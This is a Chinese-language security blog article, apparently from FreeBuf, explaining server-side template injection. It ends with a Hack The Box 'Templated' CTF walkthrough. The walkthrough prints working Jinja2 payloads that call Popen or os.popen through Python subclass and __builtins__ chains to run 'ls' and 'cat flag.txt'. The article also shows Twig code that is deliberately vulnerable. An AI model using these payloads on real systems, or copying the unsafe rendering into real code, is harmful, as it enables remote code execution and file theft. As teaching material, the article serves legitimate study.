freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SSTI漏洞原理及渗透测试
2022-09-20 21:03:44

模板引擎(Web开发中)

是为了使 用户界面和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器,呈现在用户面前

https://image.3001.net/images/20220920/1663679580_6329bc5c728779f8f0ed6.png!small

当前的主流框架,一般都采用MVC模式,即:Model-View-Controller,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户

模板引擎的基本机理就是替换(转换)将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出

引用一段代码来简单说一下:

// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';

// 用于匹配的正则
/*
    用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项
    其目的在于过滤出template中的 <%name%> 和 <%age%>
*/
var regex = /<%([^%]+)?%>/g;

// 数据
var data =
{
    name:'Deutsh',
    age:22
}

// 模板引擎
var TemplateEngine = function (template,data)
{
    // exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式
    // /regex/.exec()仅返回找到的第一个匹配项
    while (match = regex.exec(template))
    {
        template = template.replace(match[0],data[match[1]])
    }

    return template;
}

// 最终的执行在此处

var string = TemplateEngine(template,data)
console.log(string)

上述代码,我们的目的是:将数据文件中对应的name和age替换到模板文件

主要的执行在模板引擎的while函数中,match = regex.exec(template)会返回一个array,这个数组中包含了连个项目

⚠️ 为什么会包含两项呢:当正则表达式设置 `g` 标志位时,可以多次执行 `exec` 方法来查找同一个字符串中的成功匹配


https://image.3001.net/images/20220920/1663679582_6329bc5e4029f2922d448.png!small

之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("<%name%>",data["name"])完成模板中数据的替换

1image.png

SSTI(模板注入)Server-Side Template Injection

由前面模板代码安利的演示,我们可以发现,若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题

https://image.3001.net/images/20220920/1663679704_6329bcd831ed3b71f302a.png!small

凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中

模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

常见的模板引擎

  • PHP

Twig模板变量:{{%s}}

Smarty模板变量:{%s}

Blade模板变量:{{%s}}

  • Python

Jinja2模板变量:{{%s}}

Tornado模板变量:{{%s}}

Django模板变量:{{ }}

  • Java

FreeMarker模板变量:<#%s>``${%s}

Velocity模板变量:#set($x=1+1)${x}

模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可

如何测试是否存在SSTI

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI

此处我们拿来bmjoker师傅提供的一段示例代码

Twig模板引擎示例代码

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);

    // Twig_Loader_Array 用于定位模板 内置的加载器
    // Twig_Environment 来存储配置信息 内置的环境变量
  $twig = new Twig_Environment(new Twig_Loader_String());

     // render() 方法通过其第一个参数载入模板,**并通过第二个参数中的变量来渲染模板**!!重要!!
    // 模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"]
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
    // 将用户输入作为模版变量的值

  echo $output;
?>

这段代码中,由于模板引擎一般都会默认对渲染的变量值进行编码和转义。所以一般情况下并不会存在XSS等攻击的可能

若就如我们最开始的例子所说,若模板引擎渲染的内容受我们控制了,就不一定了

// 上述代码基本内容不变,$output后的内容发生变化
 $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分

此时render函数由于缺少第二个参数,所以直接就会把"Hello 用户的输入"拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”

对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI

HackTheBox--Templated

我们以HTB上的一个靶场来演示一下该漏洞的判断与利用

2image.png

首先我们在浏览器中打开所给的IP:Port

3image.png

题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}},所以话不多说我们直接拼接尝试

payload

={{2 * 2}}

https://image.3001.net/images/20220920/1663679896_6329bd984f97b960e07c1.png!small

2*2被计算,确认存在SSTI模板注入

exp

本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可

该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行

那么下面的重点就是,如何找到Popen这个函数所属的类,一般有两种方法,我们先说第一种

由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个空字符串:

{{"".__class__.__mro__}}其中__class__用于返回调用的参数类型

https://image.3001.net/images/20220920/1663679929_6329bdb97bde366377d1d.png!small

可以看出该子类继承自class'str'class 'object'并以一个元组返回,我们通过索引获得对象类

{{"".__class__.__mro__[1]}}

4image.png

接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法

{{"".__class__.__mro__[1].__subclasses__()}}

https://image.3001.net/images/20220920/1663680031_6329be1feb334d8d1b6cd.png!small

但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到,为了缩小范围我们对其进行切片

{{"".__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素

https://image.3001.net/images/20220920/1663680094_6329be5e669d280dfb93e.png!small

成功定位其位置,处于滴414号位置

{{"".__class__.__mro__[1].__subclasses__()[414]}}

然后我们为该函数传递参数调用即可

{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}

查看本地文件,发现flag.txt

https://image.3001.net/images/20220920/1663680157_6329be9db595c290807cf.png!small

Popen.communicate()

与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾

之后我们直接cat他就看见啦~~~~

{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}

Python中常用的一些魔术方法

  • __dict__:保存类实例或对象实例的属性变量键值对字典

  • __class__:返回调用的参数类型

  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类

  • __bases__:返回类型列表 寻找基类

  • __subclasses__:返回object的子类

  • __init__:类的初始化方法

  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价

exp2

这里我们还有一种方法,使用全局下的内置模块引用__builtins__(指向__builtin__

在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存

{{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}

同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init初始化类,globals全局来查找所有的方法及变量和参数并查看其内建模块的引用

https://image.3001.net/images/20220920/1663680191_6329bebff1ce2e5df1072.png!small

使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可

https://image.3001.net/images/20220920/1663680222_6329bede03061fa407f00.png!small

注意:

该exp中,对子类的选择subclasses()[1500]时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意

我们使用burp将子类的选择加为参数进行爆破

https://image.3001.net/images/20220920/1663680226_6329bee2b2aacb7322edb.png!small

遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__**)

https://image.3001.net/images/20220920/1663680231_6329bee71686f20bf4646.png!small

以下为不可以使用的(由此可看出号往大了写就对了~)

5image.png

参考文章

SSTI in Flask/Jinja2

Templated - Hack The Box Technical Write-up

ctf中的python ssti - SAUCERMAN

subprocess - Subprocess management - Python 3.10.7 documentation

Python-__builtin__与__builtins__的区别与关系(超详细,经典)(转)_weixin_33790053的博客-程序员宅基地 - 程序员宅基地

1. SSTI(模板注入)漏洞(入门篇)

RegExp 的 exec() 函数和 String 的 match() 函数有什么区别? - What is the difference between RegExp's exec() function and String's match() function?

RegExp.prototype.exec() - JavaScript | MDN

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试 # 网络安全 # web安全 # CTF
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦